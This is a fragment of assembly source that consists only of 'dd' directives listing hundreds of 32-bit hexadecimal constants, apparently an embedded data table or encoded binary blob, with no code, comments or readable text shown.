		dd 889C66BBh, 95594969h, 74CA09EDh, 668D3B00h, 932CB079h
		dd 0C341367Fh, 0F4AC7C8Ch, 0D00C7125h, 0E0E3D3C1h, 0F4B4652Ch
		dd 4059769h, 7CFC750Ah,	7D26AF62h, 20208D0h, 7B00F0DEh
		dd 431545E1h, 0CC117692h, 790E7D30h, 0D605B13Ch, 0C228B56Ah
		dd 20F483F8h, 0F7A27CCFh, 0FCB108E7h, 0EBF58100h, 0E3A7B7E1h
		dd 79887D45h, 733FB589h, 567C647Fh, 977474A8h, 486C6410h
		dd 0B00E52A0h, 22B8472Fh, 0D0F4B95Eh, 308CE2DFh, 50AE0B48h
		dd 7848423Eh, 6B16F4E1h, 0B32883FFh, 0D5DF4668h, 82D47528h
		dd 1834B868h, 0C73270A6h, 0E4113A36h, 98B0BACFh, 48E064CFh
		dd 2C057320h, 0D42FA178h, 0D590F1C2h, 84B966CFh, 0DF3C460Eh
		dd 0C1E77984h, 0F534CECFh, 0C3B00D8Fh, 956119CFh, 0C4AC33D4h
		dd 0D06526A1h, 0A2ACD029h, 34A0FE78h, 0CE81EAE1h, 0A46CF1FCh
		dd 711CFC28h, 9AD77565h, 11E76904h, 3FD5B764h, 0BB1864E2h
		dd 7E024DDFh, 0C4466EFCh, 7B2146F0h, 0E608F696h, 9B057995h
		dd 811D2FA8h, 9A677565h, 0A1E76954h, 4FD5E764h,	0B8A864E2h
		dd 5CD24D6Fh, 7D5B31E1h, 0F6207901h, 20B0A5FEh,	0FF2FB038h
		dd 7EEF0828h, 7F1B7C8Fh, 97FD5554h, 96C373C5h, 8EDDB1h
		dd 1E6C5A06h, 0D89C703Bh, 7836268Ch, 0A16D10B3h, 0ACB545D2h
		dd 193BB93Ch, 4726BE6Bh, 0FAF03D2Bh, 20B574AEh,	61573902h
		dd 2A641959h, 0C5A08A7Ch, 74747FC5h, 0F835D49Eh, 0F89C86E6h
		dd 0E10B748Fh, 109CE7B0h, 0CE7A752Eh, 4F2F7551h, 73E79962h
		dd 0C3A9B3DEh, 7A87A5D3h, 135884F2h, 3D824527h,	37E6E5D8h
		dd 149D734Dh, 4EEBC97h,	0A56B48CFh, 9B35B35Eh, 83A9BAE4h
		dd 47E30528h, 5B7B7D28h, 0AF3578A2h, 0CED027CCh, 0CB049D6Bh
		dd 0BE6C54A2h, 0B6A0D005h, 9934A9CEh, 56E0FDB1h, 0FCACCD2Bh
		dd 82FAC3CCh, 18F48B7Ch, 0BA94561Ah, 1EACCC02h,	23A13DE4h
		dd 0A662E62h, 0D51A5DE8h, 0C2C27798h, 7CE100B9h, 0B850BF9Bh
		dd 0C360B491h, 0D5AB47FCh, 84217540h, 465E6DFAh, 7C475167h
		dd 39902ECEh, 0FB24EEBEh, 0E905A5C0h, 78D4BEB6h, 0E4E1084Ch
		dd 7AAF6772h, 0CEAAE5E1h, 42ACF029h, 0AF358A1Fh, 5FEB4744h
		dd 8B24E1FBh, 0CDABBE2Eh, 0ACAE4504h, 1F3445B0h, 0D2147953h
		dd 7B347565h, 2CED21E0h, 69ACE132h, 0BF24CA82h,	287AA1E4h
		dd 0A5730DFDh, 0DB1EB9C4h, 8EB52F92h, 0B49DF08Eh, 0CB05DEF2h
		dd 57057E10h, 49ACA17Ch, 0D42AFF1Fh, 2CD0C16Dh,	11358207h
		dd 6CE48A20h, 74CCF86Ah, 7D5E661Ch, 38DC79C1h, 4A26497h
		dd 793173E2h, 0FD06212Eh, 712FCF78h, 5805F92Eh,	557B11FCh
		dd 2F0C46D2h, 0C37AB1D5h, 8BE7810Eh, 0BF3492CFh, 0C708F4A6h
		dd 38EA3D53h, 786B575Eh, 0ACE6E2FAh, 0AF94202Ch, 4CEC2C87h
		dd 0DFD1973Eh, 1ABDF902h, 0BB2CB70Ah, 5D600529h, 0BF2CF5ECh
		dd 39E32122h, 142CE954h, 3CA63302h, 793269F2h, 372AC4A6h
		dd 0FF15030Bh, 0E93CF992h, 5554CD64h, 823F6B3Ch, 422403B0h
		dd 0B862B5C9h, 2CA6CB0Eh, 420B23C0h, 2A446DB5h,	0AF06EB0Ch
		dd 0B9048134h, 76A4A7DDh, 6E54D461h, 5ECAB520h,	0CCC2B60Ch
		dd 0EB4ABC9h, 0FCEAE4B7h, 6EE6815Ch, 74253E58h,	4C0E1FB4h
		dd 75DD08DEh, 953018C4h, 0E0197E77h, 9087FE4h, 0C3AC7393h
		dd 788184D3h, 1A484DCBh, 9135D7E2h, 0C44464E6h,	0F42AE7BCh
		dd 3530C7FEh, 389064D0h, 0C8826706h, 79D1ED2Eh,	42ACC3FCh
		dd 732D113Fh, 0F5067D6Bh, 4869B7Ch, 0D42EA5FFh,	5AF67512h
		dd 0C2E07440h, 1E2E2FCFh, 25615579h, 3E2CE166h,	440566C7h
		dd 9B363DF7h, 2F2597E7h, 3FA8FF97h, 3FAA8F9Fh, 457D618Fh
		dd 986E3CBFh, 2D9D96AFh, 7C8D695Fh, 9FEE1154h, 8975754Bh
		dd 9C74EE22h, 0E1B3A8D7h, 0DA3114B8h, 0E4707E67h, 0DF2F6DC1h
		dd 7E2E5D9Ch, 0FDA05DDFh, 0C6E8829Fh, 0E6E6815Eh, 0A4EB2564h
		dd 8A54574Bh, 0FF187B5Fh, 1D3483A8h, 4CF5D364h,	0C4A1DDE4h
		dd 5BEFCAAh, 79A87C98h,	76B215C7h, 38F4FDE2h, 78DA5D1Ch
		dd 0A0ACA72Eh, 0ACEAB128h, 0F4FF1DC7h, 0B2F73124h, 93B286B5h
		dd 0C4AC0ECEh, 0E4AE2AE0h, 0C5AE7E3Eh, 907D7B8Bh, 1B3D2FFEh
		dd 0C06BFFB2h, 0B87941FDh, 20BBB56Ah, 2DF48357h, 4A2DBFAh
		dd 7E875962h, 4F05533Ch, 6FC7476Ah, 0C3E70E6Ah,	3AA86C6Eh
		dd 0AF3D9209h, 4A299E4h, 7CC57328h, 9CF08061h, 554EB54Bh
		dd 0C29360Eh, 4A2AD7A9h, 6FEAF5E3h, 72DD4F64h, 48C866F1h
		dd 0CA059A55h, 0FCACE37Ch, 0C921240Bh, 95068293h, 0B2568F65h
		dd 0D216B424h, 32B061C9h, 2A6F5FC5h, 87BA5CEh, 542F79ACh
		dd 8728D0FAh, 0A8EAB4Fh, 5635CEE1h, 1D8561E0h, 555E7978h
		dd 128FCFAh, 0DCDA4668h, 6BE07E14h, 65EC0C61h, 0CEEC9D5Bh
		dd 3CF9404Eh, 0AE113E1h, 3E3639DEh, 6D8565E0h, 55EB79D0h
		dd 5A2854E1h, 0D4024668h, 0BD3F7517h, 0C7348CC0h, 0C72FA8A6h
		dd 0D55C3FEBh, 39A20FE4h, 0E62F7CA3h, 0D87B640Eh, 0C5D15688h
		dd 4D2E70B7h, 813152E8h, 0C5EF64FAh, 589C7FA9h,	0E3B0E186h
		dd 423AAEBFh, 0DC34CA8Ch, 7C4EFD79h, 4D1342Ah, 3B0465E7h
		dd 1AA36281h, 324A80B2h, 8BF27011h, 540E48E1h, 0AB1BBDA4h
		dd 0EEF05D53h, 1C3A805Eh, 0AF30DDBFh, 8633B21Ch, 8A74E9BCh
		dd 5AC405FCh, 1CE76919h, 0AD5A864h, 0C4E364E2h,	90CBFCA8h
		dd 7B24745Bh, 0BB1827F3h, 7B40FD15h, 0E12C5718h, 913923D7h
		dd 3324D16Ah, 0E0E64D28h, 1FD3AC9h, 7C24CD4Ch, 5E45FEDCh
		dd 0A047D3Ah, 49077D72h, 0BF04FB78h, 6ADB216Ah,	0D0CA4C1Ah
		dd 16F3FB0Ah, 44F25E6Ch, 0A96DBB7Ch, 38B53BE4h,	29CA66BCh
		dd 4C647245h, 39AF94E2h, 0CC7ACD26h, 0C0A70DFFh, 57497954h
		dd 0BC6DF8CDh, 78A73B74h, 0C562F4A0h, 2418B554h, 446A4682h
		dd 0CC8AFF44h, 8EACA1FCh, 3CE47136h, 34E00574h,	7A24F56Ch
		dd 10CD3FE4h, 0E3DFEA8Bh, 0FCD773B1h, 6205D5D0h, 4DC7F35Eh
		dd 0AF35AEF4h, 7BF74750h, 0E4B3D8FBh, 9FA45D64h, 1539D0DEh
		dd 4AC5A5E1h, 632FB96Fh, 31BDEF9Ah, 1C4A67D4h, 0F6F4E6DEh
		dd 1FA42DCFh, 0FFDCCA3h, 0C4ED64E2h, 81468128h,	0C9694716h
		dd 40798462h, 49C746Ah,	798A5114h, 47E555Ah, 78846D02h
		dd 3469F3C8h, 6E53D30h,	69073D28h, 9C3881F5h, 447D386Ch
		dd 0ECAC633Ch, 1718BB2Bh, 0FA47FFE2h, 0C227BF48h, 0ECA2917Ch
		dd 2706A86Ch, 0B504B29Dh, 86C40098h, 3E62A76Ch,	0A488D36h
		dd 630D09FCh, 80425BD6h, 56F4912Ch, 0DDA0ED36h,	847538AAh
		dd 2AB38512h, 39F405ECh, 1A4CB4A8h, 0BBFDBA57h,	33A5050Ah
		dd 79AF7CB4h, 18C54504h, 3284A87h, 0FC8D529Ch, 0C00B24D8h
		dd 2C02DDEEh, 18E17DF2h
		dd 25C5D49Ch, 0D54B5954h, 0AD564E4Fh, 302F199Ch, 3F44E4F7h
		dd 0CF71D3C2h, 36CCCDC4h, 616808C3h, 0DA6A9FECh, 0F730A9DEh
		dd 47347D28h, 0C32CFCECh, 36273BCFh, 0D29A7440h, 0FC6D1C4Dh
		dd 1E638A02h, 7CFAC264h, 9AACB2A5h, 0EF3E3E77h,	1A5D96E4h
		dd 0F4E6DCFCh, 3FC4B46Dh, 0FCFDCDF9h, 0F0047282h, 386DED12h
		dd 5176639Fh, 766E0566h, 7C733DA4h, 262D3AABh, 82524714h
		dd 0A6E23525h, 388065E4h, 410649BAh, 0DC840577h, 0A106312Eh
		dd 66E71504h, 3FC25412h, 3C5691CCh, 0F4F8AF62h,	0E11D8A88h
		dd 29B0E52Bh, 0C51634A4h, 54D43F33h, 35037BC4h,	57125C04h
		dd 0BCDA1AB4h, 0CEE0F52Fh, 86E445C1h, 0ABF48824h, 0AF0928A9h
		dd 0A00C7995h, 0CA74472Fh, 7083FBBh, 53D90538h,	2AA2739Ch
		dd 0FCE00523h, 7C24D554h, 0F705C9E4h, 3B647DFEh, 0DCBCC1ECh
		dd 20EBE532h, 0C2A2FF99h, 6249257Ch, 313AFF4Bh,	80DB4EA1h
		dd 0F5FB672Eh, 0C6A06DC7h, 7F3F4364h, 0B640821Ch, 0D0A1CCCFh
		dd 0A9384134h, 0DC064D40h, 7C1E66F3h, 7F3A9A64h, 114588B2h
		dd 12257C9Dh, 19E36912h, 1A946B9Eh, 0C6A6950Eh,	781D87CEh
		dd 40E382E4h, 2357E7FFh, 0B628B1F9h, 3E3B6B98h,	0ED377D69h
		dd 2F3370E7h, 0FF2A9666h, 8B40800Ch, 2C94B6CEh,	0D1610EEBh
		dd 4BD68EDCh, 2CFCFCFFh, 0E12AE4A3h, 0FC49FB65h, 6F1CD884h
		dd 9AF5FCDFh, 0C6E547D7h, 2038FD57h, 0A0540828h, 0C6E6B538h
		dd 0E34838Fh, 60F63664h, 0ACACC0E4h, 4D50BCC4h,	76C18FCh
		dd 42863502h, 0B8446711h, 2CCC8836h, 44A0872Ah,	3E7D9D6Bh
		dd 71728169h, 7FE2AF04h, 1CDF0B68h, 78D84311h, 3ACC86BCh
		dd 5FA0852Ah, 39179D66h, 0C41BFA65h, 0D2A4524Fh, 78A74313h
		dd 4CC8219h, 5DA08C2Ah,	392A9D6Ch, 7F2C816Ah, 77E29404h
		dd 1CA32C68h, 47DE43FDh, 0EB8634EFh, 981B6F17h,	0E9E05128h
		dd 0E66243E3h, 1CA32534h, 64E71015h, 0A861F6FFh, 0EF44A786h
		dd 0E3197E6Fh, 857AF5AAh, 1C513549h, 363F0BAEh,	5EAB4358h
		dd 0E8BCE1BFh, 0D259FF04h, 47E2892Dh, 14803402h, 0F1F69C98h
		dd 3EE04AF6h, 5B75537Dh, 0D2CD11C4h, 0C31B6E93h, 745A812Ah
		dd 1C512607h, 363F0B8Eh, 0BEAB42B8h, 0E89CE1BFh, 0D259DF04h
		dd 47E2E92Dh, 978C3462h, 0F0D6E1BFh, 0D259A104h, 47E2B32Dh
		dd 32803424h, 0F0089C98h, 393A4AF6h, 5B75757Dh,	0E8CD11EEh
		dd 9EAB8A2Ah, 0E87CE1BFh, 69E26E04h, 5F75787Dh,	0E5CC9158h
		dd 9A1B6E93h, 8571FA2Ah, 1C50C249h, 363F0857h, 51AB4341h
		dd 0E8ABE1BFh, 1C512A07h, 363F0819h, 0FAB430Bh,	0E8EDE1BFh
		dd 0D2594E04h, 5BA092FFh, 13CD1107h, 0F1DD6E93h, 0C5538DFFh
		dd 0E63FC7C2h, 68253D31h, 6A29FF6Bh, 0B8E3A1E1h, 682FA73Fh
		dd 0F5D6B78Fh, 0C3071D54h, 42EE672Dh, 6A6D24FCh, 0BA9948E1h
		dd 9BD3D6BDh, 0C6813F6Ch, 4906C8A8h, 0DA4E47F8h, 309C6D64h
		dd 0B4902594h, 0AA5AC55Ah, 75749778h, 2EE5AD3Bh, 0C2E37B4Fh
		dd 2C34A1CFh, 2235F74Eh, 0FC46C1F8h, 7F58B333h,	655C7CBCh
		dd 0CE4B1837h, 0D7AA2711h, 0BEE2E1B8h, 809C5DF3h, 0B755660Bh
		dd 4CC46C16h, 0B8A964E2h, 41D0996Eh, 0CCA0A37Ch, 0FB5BC97h
		dd 0AF304D7Fh, 1A075B28h, 0CCC064A4h, 533799CEh, 645C74D1h
		dd 0DA34F1CFh, 0EAF2C80h, 0C7081DECh, 0B65C83A8h, 5C8C9497h
		dd 503A554Bh, 4ACC1487h, 35A13454h, 0CA5E0127h,	487725Dh
		dd 19D6AE2Eh, 6705C9ACh, 0D9C4705h, 3CE947D5h, 473FA7FFh
		dd 532CE73Ch, 6759644Ch, 859D1705h, 44EA0E88h, 0B48333CDh
		dd 0D95F3CBFh, 0EBCB0170h, 0E5653E53h, 363E9A7Bh, 6DAB4365h
		dd 78CFE6BFh, 49072533h, 6C24612Dh, 0D574BE1Dh,	6306C1C3h
		dd 0FEB5F8F8h, 0F208CDE0h, 3DAB57A1h, 66E705F8h, 56C51E72h
		dd 0A8EC21AEh, 0F2833784h, 84058DC8h, 6C467F50h, 7880CDCEh
		dd 0C0DDE6C2h, 0F7A0ADCCh, 473A0FE7h, 3850FDD4h, 0CF0D4E09h
		dd 3E29C0ACh, 0F586154h, 0B498B8D4h, 61E71D40h,	0ABD52BBDh
		dd 0B8CD28BEh, 7AC07693h, 69981A27h, 634F555h, 6135EE67h
		dd 0BA08477Ch, 0E0BB3CD0h, 26C905F7h, 0B39B2E0Fh, 2385C5E0h
		dd 85F3BF74h, 30BD66CBh, 0BDD7662Eh, 26F4553Eh,	0F1E07503h
		dd 0A1E6DA3Ah, 0C55998AFh, 6B2C9AE1h, 39A07E49h, 212E4554h
		dd 0B8F295C4h, 385C2526h, 1CEC90CCh, 0FADD0628h, 3CDAC97Ch
		dd 42CAD49Ch, 5FBA6A10h, 1A6C231Dh, 549C744Dh, 0B263496Eh
		dd 0BB74C0E1h, 3BDB8967h, 0A8824768h, 0AAFA44E4h, 351AC4BCh
		dd 9B1BFD24h, 0F12864D5h, 0DE33AAFEh, 0C6AF8505h, 3324AE02h
		dd 0B0C96625h, 3A2C4025h, 2612324h, 0C135B40Ch,	0EB044443h
		dd 479F7692h, 0C00FAD9h, 0B28D5F5h, 0D5814668h,	0BCBE7500h
		dd 7AB40D0h, 0C421810Dh, 0C6377D1Ch, 0ADC9892Eh, 423494E1h
		dd 0A371156Bh, 0AD957484h, 0C6E6C7Ch, 0C7E9B4C8h, 28E0F8C9h
		dd 0C3815CD4h, 0A50B6BF8h, 0F9E75132h, 0DCC90F6Bh, 0FCA94FC8h
		dd 8EFD988Fh, 3B3266FDh, 59964D53h, 278371E1h, 0FD9D225Fh
		dd 593246BAh, 483DC423h, 2674654Dh, 0C9DFFB00h,	212F663Ah
		dd 0C20706C6h, 0FA3A4AF5h, 7D8C8A8Eh, 0E4D32BDBh, 634A5E30h
		dd 9547EB2Ch, 0D9D2D05h, 0E3011AA3h, 0C39C10CFh, 6ADDCFA8h
		dd 256B27FFh, 86C563DBh, 0E91F7EF4h, 73A8063h, 198786BCh
		dd 410D8DB6h, 0C3E07D67h, 2477D24Dh, 14EEAFBFh,	2C6046CFh
		dd 0C4A358D4h, 0C43C27CEh, 401B7D78h, 5F2CC8A6h, 624FFB82h
		dd 972F7934h, 0D564476Ah, 427CF4BBh, 0B7F567A6h, 0AB067E26h
		dd 1BA4F25Ch, 83A3D2B0h, 1D370537h, 0ABDC048Ah,	2EDA7104h
		dd 0D42561FFh, 0DF21AF4Ah, 9145732h, 0D0EA7D77h, 3AE4E32Ah
		dd 0C4D464D2h, 0A498C90Ah, 8CD4AB52h, 0E5AA9FECh, 1C1E27F3h
		dd 0DBF4F1E7h, 604B3DFCh, 3FAB23FCh, 447261B2h,	0BE552FA2h
		dd 0D550608Eh, 8A17D382h, 716CD44h, 0CE9AA4EEh,	9913A44Dh
		dd 0FCCD8EFFh, 672FE458h, 3BA139E0h, 0C4A0640Bh, 9E34C136h
		dd 84CABA24h, 9EC34164h, 0BD1DF5F4h, 213473D6h,	0DBE109A4h
		dd 0CF3560DEh, 3560CDFFh, 1B914512h, 5DC6CC6Fh,	0B0CD2BFAh
		dd 0C5733954h, 3AE61254h, 0B4EAD092h, 0C4582AFFh, 0B8AE9D51h
		dd 0BC9475E1h, 2DD7E258h, 182751E0h, 648083A0h,	21704738h
		dd 149B63A9h, 0EB875CE4h, 82045C4h, 8606AE29h, 7E80B49Ah
		dd 6F0FF53Ch, 0C4946866h, 0C2923AC2h, 0D6C07DCAh, 0CE947ADBh
		dd 252491F9h, 0FCBC03F4h, 0F4B29D92h, 460C70BDh, 7F3C7082h
		dd 6A7B208Ah, 0D06A4FBAh, 0B6F7FAAAh, 459266FCh, 98833D42h
		dd 372E5072h, 46C1757Ah, 0DCA27DDEh, 0C520779Bh, 0CBBFD642h
		dd 0F8E1F99Ch, 0F844B537h, 679A1D3Fh, 0BA2CE146h, 5BCCDC4h
		dd 6A80A82Ah, 3530F8DCh, 50961ACh, 1FC20577h, 7EAA8DECh
		dd 96246E4h, 0AF3583ECh, 0DFAB00E4h, 64B1D68Ah,	7C5C8D64h
		dd 0C3ECA371h, 9760F57Ch, 0CEA1BE97h, 0C3EE8F3Fh, 18609ACFh
		dd 0C4A3ACD4h, 0D0E02722h, 21AC4D29h, 45A0CD66h, 3F0FB028h
		dd 0F4FDD99Ch, 3F98A0C9h, 0C55FB14h, 0CA563A9Ch, 0A55274B8h
		dd 0B475BE6Bh, 80960CE4h, 3382E60Ah, 0DA2CEE39h, 38AFF479h
		dd 45A23BC1h, 98D53D14h, 0C8C49704h, 9B78E62Eh,	316C407Fh
		dd 6F0C5388h, 0BF06F46Bh, 653721F6h, 0FA68CCE6h, 0FEE0E5E4h
		dd 19CD80C6h, 2AF90C1Ch, 387C5CA4h, 399523DDh, 6A8E27DCh
		dd 0F70474D7h, 594F308h, 9331B64h, 0EEDC7E13h, 0D49CFD1Eh
		dd 52BD0208h, 0F70CBEC1h
		dd 1B34821Eh, 0C8D6CC85h, 0D406473Ch, 0E1EE7500h, 0F13D4407h
		dd 0FCBCBC09h, 1864E2CAh, 0B4F43D10h, 0FD22654Fh, 0B10544BCh
		dd 9EA11DFCh, 33054F5Dh, 7F2C75E4h, 3AD0D5AAh, 0D71C5D12h
		dd 0E5E4E33Eh, 1736A390h, 0BF2A83FFh, 0DAAC41D2h, 4EAC680Ah
		dd 4294F504h, 0D8FA652Ah, 0CF494E7h, 49A1A699h,	3BAB7984h
		dd 0CF62804h, 302F3683h, 6463E703h, 0A62DA754h,	0A4DFDA9Dh
		dd 79D4DFBCh, 5AC4F678h, 71E76964h, 1FD59764h, 3FA0B1E4h
		dd 47CE77Dh, 0FD68E814h, 24ACE41Ch, 0DCF4F90Eh,	3EA0F52Dh
		dd 54B6203Ch, 7835D92Ch, 38B87D08h, 15E71541h, 3A2FCDC4h
		dd 0A1BC778Bh, 7BB52FCFh, 4D43A64h, 0A5C1C164h,	0C39D47E6h
		dd 0A6AD157Ch, 0D42D320Bh, 0FF3EA049h, 0BAC0EDE1h, 38C08DC5h
		dd 873D87CEh, 0CDD39B2Eh, 632F4684h, 1E375F7h, 0FF0CA044h
		dd 66C1B3E1h, 19EF52E4h, 37327CAAh, 0C22D2E0Bh,	0FF21A0DBh
		dd 27C15FCFh, 1B3B7EE4h, 0D4306737h, 0DB2EA154h, 0D77249F8h
		dd 2E5894A6h, 53312577h, 7E425F3Ah, 0FC94727Bh,	0B8C1D887h
		dd 0BC4766F3h, 19527D2Ch, 5EAD197Ch, 8EE63D30h,	0DB2F712Eh
		dd 383D5B6Ah, 0CCADC4BCh, 1A07E4D0h, 3726BDF2h,	5EA1BBFBh
		dd 35346544h, 645A33D2h, 40C40BFFh, 27AF779Ah, 0A5B5A56Bh
		dd 0D8F7BDDAh, 7CED792Bh, 18648FC2h, 0ACE1CE1Ah, 9A09003Ch
		dd 0D5445E41h, 0D1DC71FAh, 0F46EC3C9h, 5735A13Fh, 7F8F7DE0h
		dd 0BF346504h, 5EF88364h, 0C48F46ECh, 0DBB5789Ch, 0F706CA48h
		dd 6F604E0Dh, 82361A64h, 8624B132h, 0C1E47DFFh,	5D8FF428h
		dd 9F2D45D7h, 17CADEF7h, 0BA8AA86h, 0AA067D51h,	0A2526664h
		dd 0BC84746Bh, 0DCB52174h, 71B583B9h, 0BB3F93A6h, 7EC65954h
		dd 12F0D514h, 0A54EDE4h, 2F75E4Ah, 45E666E4h, 4708B5D6h
		dd 0FC8D569Ch, 0D324A478h, 0DAA066B8h, 3D027BF8h, 0DF7A1746h
		dd 61F905FFh, 0B535EFECh, 0F6E8077Fh, 1E251447h, 11E11D18h
		dd 0D878A9C9h, 38A063E4h, 630B5BB4h, 0DA85FB4Ch, 79927D40h
		dd 61359504h, 90E0A2A4h, 0D53AFBCEh, 3E00AB1h, 7FE47E28h
		dd 224650FCh, 7F3B46F0h, 0C12D94F8h, 0BCF8476Dh, 0C44C9799h
		dd 0BF2BB954h, 0F5EC7493h, 95DB2835h, 0C65FDFE1h, 0FBE46DAAh
		dd 75E7AB0Ch, 0C4A865E7h, 642C6794h, 4A566267h,	802506F8h
		dd 0CC2A23F6h, 0C4184A6Ch, 0CB1CE7C1h, 1AFACC28h, 0D7427DFFh
		dd 0C89B757Ch, 0C3388FA6h, 5C206C08h, 0C8BDA6CCh, 0C33655C7h
		dd 96156F60h, 0D1C2614Ah, 0D4CDE417h, 41157508h, 0D3C97DF9h
		dd 1C1759E9h, 0DA67E4F2h, 0DA32E7h, 35BD7F6Fh, 49807C58h
		dd 0D78C772Fh, 0AE0D73F9h, 0F82ECA2Bh, 68BDFC9Bh, 7DB1093Fh
		dd 9F686910h, 38AA84BFh, 3D6AA092h, 7B34F12Fh, 0DCC072BFh
		dd 0FBAED5B0h, 0BB37A3FCh, 0CF3C6EDFh, 0C43A437Eh, 0F9AA67C6h
		dd 0A40FF97Fh, 0DC20F744h, 0FF34705Dh, 46C6504h, 0C46ED6A5h
		dd 0BB395F29h, 0CF3559DFh, 0DDC4E316h, 45E46EE8h, 0CE35EAFCh
		dd 683CFB6Bh, 0FF1C974Ch, 0F272056h, 0D8B56A2Fh, 0DAE0B923h
		dd 7B09B262h, 0C8E315D0h, 79346F8Eh, 1ECD3624h,	0FB5B944Fh
		dd 0C4C649D9h, 0CF2CB93Ch, 23551952h, 5C284130h, 0FC286620h
		dd 71936F4h, 84140428h,	2C5549C4h, 0B2DC66B9h, 0A0EC648Bh
		dd 6CA2461Fh, 0CA25846Ch, 0F5356761h, 7C27F328h, 0F804754Fh
		dd 0BE3D9679h, 827099F7h, 0E4EC2B20h, 0FEAD0EC9h, 7F30C21Eh
		dd 3B3566AAh, 0FEAE55E8h, 3B354B3Ch, 0FFADB9EAh, 0FF00AFFEh
		dd 0FDB59D24h, 0C2E093CEh, 0C52FFC68h, 3F28617Eh, 0D529F44Ch
		dd 0B32A4142h, 0BD367A67h, 8CEC75C8h, 9906747Fh, 7D507728h
		dd 6A2674F9h, 0C70071EEh, 0D6B57024h, 20E073CEh, 0C51EFCF5h
		dd 3CEC61F4h, 0DAF2F4F7h, 0D3C041F6h, 0D3369767h, 0D1EC85C8h
		dd 0D106FB7Fh, 7C3BE928h, 0DB047746h, 4405BD54h, 3B0666AAh
		dd 9AAD61B8h, 0E70061FEh, 0F6B56024h, 0C30463CEh, 0CD034118h
		dd 3F335D67h, 29065C7Fh, 7DE05F28h, 0D8F677C1h,	45C4BDC0h
		dd 38CA67C3h, 27AD89C2h, 2700FFFEh, 25B5ED24h, 2AE0E3CEh
		dd 0C517FC58h, 3F1060AEh, 0D511F7BCh, 0E31240B2h, 0ED365267h
		dd 0FCE04DC8h, 441D7D1Bh, 3B1E67FAh, 2AAD4EC8h,	3028FDF8h
		dd 853FCD67h, 0D4A18106h, 0F5FC671Ah, 0D77315CEh, 34E15DCCh
		dd 24E7B11Eh, 0CF0707CEh, 0D0D497B5h, 3CB58214h, 7C83E550h
		dd 0A30C8D7Bh, 39FCE2ACh, 8A0801A4h, 954D2CA8h,	0E54B6C9Fh
		dd 0CC5608F4h, 0CD3B7E1h, 54E702CEh, 6F405898h,	10ED1462h
		dd 143D1439h, 0E5CB6C9Fh, 0CC5588F4h, 0F0B58261h, 0F8AEC490h
		dd 84D73DE4h, 97392DD7h, 0DB4C4262h, 885CF79Ch,	0DA2C47FBh
		dd 0BF34F4E4h, 650521F4h, 0CB144CC4h, 591CE4A4h, 0FCE440E4h
		dd 0CAC7440h, 0D3170FB4h, 6CF68480h, 8AC5CC4h, 0F506F57Fh
		dd 0DC34ED39h, 5CB57D4Ch, 0AC40D4A4h, 0B4AE7138h, 3C6CA1E4h
		dd 7874F0E7h, 0C0AC79A4h, 0E8A308B7h, 0DC008C3Eh, 0CEB57DE1h
		dd 59056D2Ch, 3F0840E4h, 0C482527Ch, 7C224728h,	0F2CB923h
		dd 1A367D67h, 0CACA6577h, 0FC505AE6h, 474080A4h, 581DEF1Eh
		dd 2C82D5F0h, 7C35CE28h, 842CB8AAh, 90F76D4Ah, 0A54367E4h
		dd 0C45670B8h, 152D0BA6h, 88488FE4h, 0C4807614h, 0DA2C6B39h
		dd 0BF10F4C7h, 3970D92Dh, 82C5726h, 6238A5D7h, 0DAD24162h
		dd 43388467h, 0DBB34262h, 0BC89F44Eh, 6A602154h, 0D07D4FA2h
		dd 0E7E3FA88h, 0F9AD0FC9h, 0B34C111h, 4415FD5Ch, 7070860h
		dd 73E2CC84h, 0C8F8D5D0h, 0D37FA88Fh, 1B150E66h, 41A8489Ch
		dd 25D8548Eh, 392CB9D1h, 0FA1C0166h, 0A5DAC924h, 86D8A05Ch
		dd 185C5E6Ch, 0DCEFF537h, 9A784314h, 0ACA0CC5Ch, 3CAD07F0h
		dd 846C5536h, 10F52988h, 60FE23D0h, 1A3C147Dh, 15610910h
		dd 0C53C88E5h, 3040529Fh, 47C0ACF3h, 0E0C776C4h, 60BCC0D9h
		dd 0BB1314D1h, 0B71D1412h, 4635BABDh, 16AB743Ah, 0C5CDFAFFh
		dd 4635917Dh, 42AB746Dh, 0C5B1FAFFh, 4635E57Dh,	0AEAB7441h
		dd 0C565FAFFh, 4636397Dh, 9AAB77B5h, 0C549FAFFh, 7B360D7Dh
		dd 0C6C78BE9h, 4C3DA6A8h, 263861E4h, 0DA1E4262h, 0BCF4F42Bh
		dd 6AC32131h, 0CAD84C1Fh, 28A360C4h, 452CA7FCh,	51EE5EC8h
		dd 0BB2C9DFCh, 4B0ABD44h, 0FC757559h, 25B5CB64h, 5A353CC7h
		dd 0DA7074E4h, 0C47BB6D8h, 9D067D2Ah, 5E515228h, 552CF9FCh
		dd 4D64AC27h, 0C63A74E1h, 31E073CEh, 4334E3CFh,	370841E4h
		dd 0C4E95267h, 43E67DF4h, 0C4E9BEB8h, 0C607D04h, 1BB04324h
		dd 7F2D34FCh, 0DDEDF402h, 0FC877517h, 30681FFh,	3934FA39h
		dd 38BE67E4h, 0C482E03Dh, 0A4E07D60h, 0CA9FFC3Eh, 3C626139h
		dd 0DA75F438h, 0DA78403Bh, 3BF366B4h, 0F4081114h, 3B0CE88Ch
		dd 0C0758952h, 0C6FAF5FFh, 1B04CDC1h, 1A9E41F0h, 98A229D4h
		dd 0DA2796ACh, 0CF1725B8h, 0DCB07C58h, 2B62C0EFh, 0DCE811CCh
		dd 0A5A4C1C0h, 9738C690h, 0DC4471D5h, 0AF13415Eh, 0D13884C7h
		dd 0BF5059F5h, 0A4B8FECDh, 0E44499C9h, 0C9A3842Ch, 719DA144h
		dd 0F5C52158h, 49E4D80Eh, 0F8A5CDD8h, 0A043C28Ch, 48C835CDh
		dd 0D19D15F6h, 0A6462734h, 941C7DF5h, 25565D1Fh, 0C5042724h
		dd 4230976Ch, 0FD30F3D7h, 9854E4D4h, 95A441E8h,	84AE694Dh
		dd 6A7FA128h, 0C7554F8Ah, 0D45CC1C9h, 87F4D16Eh, 53012BFFh
		dd 47467D1Ch, 45A6B4AEh, 0A546ADCCh, 30EFA56Ch,	745C41C9h
		dd 877CF46Eh, 0F792764h, 5F0DED4Ch, 3A94F4E4h, 3B9C4888h
		dd 0EEC8DD66h, 0E06D2529h
		dd 0A8A024B2h, 91363A64h, 0D43A99C7h, 9A30C7CFh, 7BF47D2Dh
		dd 4147AD1Ch, 73D694A8h, 0FCE883D7h, 50DCFB7Fh,	0E307375h
		dd 8496916Ch, 0D07F5177h, 1268FCEEh, 7B362910h,	27307E7Dh
		dd 441C094Eh, 2F2C45DCh, 30E44262h, 943CBD24h, 7D0421C0h
